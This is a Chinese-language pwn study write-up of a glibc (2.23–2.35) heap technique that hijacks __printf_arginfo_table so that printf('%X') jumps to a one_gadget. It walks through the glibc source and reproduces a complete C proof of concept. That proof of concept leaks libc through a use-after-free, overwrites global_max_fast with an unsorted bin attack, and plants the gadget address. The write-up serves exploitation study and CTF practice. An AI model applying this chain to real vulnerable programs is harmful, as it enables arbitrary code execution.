适用版本
glibc 2.23--2.35版本中,该手法均可用
使用条件:
- 能向
__printf_function_table
中写入任意数据,使其不为空 - 能向
__printf_arginfo_table
中写入一个可控地址 - 通过条件
2
,让__printf_arginfo_table[spec]
为backdoor
或者 ogg 地址
漏洞原理解析
链条为下面四个部分,简单来说就是通过劫持printf自定义的格式化字符串执行ogg或者后门函数(这里的自定义格式化指的是通过任意地址写修改来导致满足条件)
- printf->vfprintf
- vfprintf->do_positional
- do_positional->printf_positional
- printf_positional->__parse_one_specmb
1.printf->vfprintf
这一段看printf函数定义 不是很重要:
int
__printf (const char *format, ...)
{
va_list arg;
int done;
va_start (arg, format);
done = vfprintf (stdout, format, arg);
va_end (arg);
return done;
}
2.vfprintf->do_positional
/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;
这里的关键点在于这个能否成功进入do_positional函数 这里要满足这printf_va_arg_table, printf_function_table,__printf_modifier_table的其中一个不为null或0就好,这里我们通常是通过改printf_va_arg_table
3.do_positional->printf_positional
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;
......
do_positional:
if (__glibc_unlikely (workstart != NULL))
{
free (workstart);
workstart = NULL;
}
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep);
这里调用了printf_positional函数
4.printf_positional->__parse_one_specmb
printf_positional (_IO_FILE *s, const CHAR_T *format, int readonly_format,
va_list ap, va_list *ap_savep, int done, int nspecs_done,
const UCHAR_T *lead_str_end,
CHAR_T *work_buffer, int save_errno,
const char *grouping, THOUSANDS_SEP_T thousands_sep)
{
---------------------------------------
/* Parse the format specifier. */
#ifdef COMPILE_WPRINTF
nargs += __parse_one_specwc (f, nargs, &specs[nspecs], &max_ref_arg);
#else
nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
#endif
}
/* Determine the number of arguments the format string consumes. */
nargs = MAX (nargs, max_ref_arg);
这里就会调用__parse_one_specmb函数 这是最关键劫持的函数
5. __parse_one_specmb->any addr
__parse_one_specmb的源码
#ifdef COMPILE_WPRINTF
__parse_one_specwc (const UCHAR_T *format, size_t posn,
struct printf_spec *spec, size_t *max_ref_arg)
#else
__parse_one_specmb (const UCHAR_T *format, size_t posn,
struct printf_spec *spec, size_t *max_ref_arg)
#endif
{
unsigned int n;
size_t nargs = 0;
/* Skip the '%'. */
++format;
-----------------------------------关键代码
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
这里补充一下parse_one_specwc还是
parse_one_specmb都会执行函数体
然后注意下这个*__printf_arginfo_table[spec->info.spec] 这里会调用这个位置,这也就是我们进行后门函数和ogg覆盖的位置
这里为了介绍一下spec要讲一下__register_printf_function函数,该函数的作用是允许用户自定义格式化字符并进行注册(注册的意思是说将自定义格式化字符与相应的处理函数相关联),以打印用户自定义数据类型的数据。
/* Register FUNC to be called to format SPEC specifiers. */
int
__register_printf_specifier (int spec, printf_function converter,
printf_arginfo_size_function arginfo)
{
if (spec < 0 || spec > (int) UCHAR_MAX) #UCHAR_MAX=0xff
{
__set_errno (EINVAL);
return -1;
}
int result = 0;
__libc_lock_lock (lock);
if (__printf_function_table == NULL)
{
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}
__printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
}
__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;
out:
__libc_lock_unlock (lock);
return result;
}
分析一下代码,上面代码先做了一个判断 判断spec是否存在ascil码,再判断printf_function_table == NULL 就设定一个calloc来分配两个索引表,并将地址存放到`printf_arginfo_table和
printf_function_table中。两个表的大小都为
0x100,可以给
0~0xff的每个字符注册一个函数指针(假设我定义一个
%X的格式化字符,那么
spec就是
88,所以将
printf_arginfo_table[88]` 此处存放一个对应处理函数的指针)
回到我们的利用链条,发现这里只要修改,假设是%X的情况 就是修改__printf_arginfo_table(88)的位置,修改原定的函数处理函数进行函数劫持
动态调试
poc
源自 https://ptr-yudai.hatenablog.com/entry/2020/04/02/111507
#include <stdio.h>
#include <stdlib.h>
#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a38c
int main (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdout, NULL); // make printf quiet
/* leak libc */
a[0] = malloc(0x500); /* UAF chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] = malloc(0x500); /* avoid consolidation */
free(a[0]);
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lxn", libc_base);
/* prepare fake printf arginfo table */
*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
//*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
//now __printf_arginfo_table['X'] = one_gadget;
/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */
/* overwrite __printf_arginfo_table and __printf_function_table */
free(a[1]);// __printf_function_table => a heap_addr which is not NULL
free(a[2]);//__printf_arginfo_table => one_gadget
/* ignite! */
printf("%X", 0);
return 0;
}
这个poc 模拟了一次uaf 和 unsorted bin攻击 ,最关键的点 在于通过覆盖global_max_fast为main_arena+88
从而使得释放的所有块都按fastbin处理,然后通过计算好 printf_arginfo_table ,printf_function_table 与main_arena之间差距的size 来修改,因为fastbin的堆块地址会存放在main_arena中,从main_arena+8
开始存放fastbin[0x20]
的头指针,一直往后推,我们将阈值改为0x7f*
导致几乎所有sz的chunk都被当做fastbin,其地址会从main_arena+8开始,根据size不同往libc覆写堆地址,
通过uaf + unsorted bin覆盖globale_max_fast这样的方式来使得printf_arginfo_table为堆上地址,然后设置printf_arginfo_table[88]为ogg即可
覆盖global_max_fast
main_arena+8=0x7ffff7dcfc48
__printf_function_table=0x7ffff7dd4658
offset1=0x4A10= 0x9430 /2-0x10+8
__printf_arginfo_table=0x7ffff7dd0870
offset2=C28=0x1860/2-0x10+8
执行完两个free后:
这里我们就劫持了printf_arginfo_table这个位置且这个位置print_arginfo_table[88]已经是ogg了
接下来看一下printf的调用链
进入do_positional
进入printf_positional
调用进入__parse_one_specmb
劫持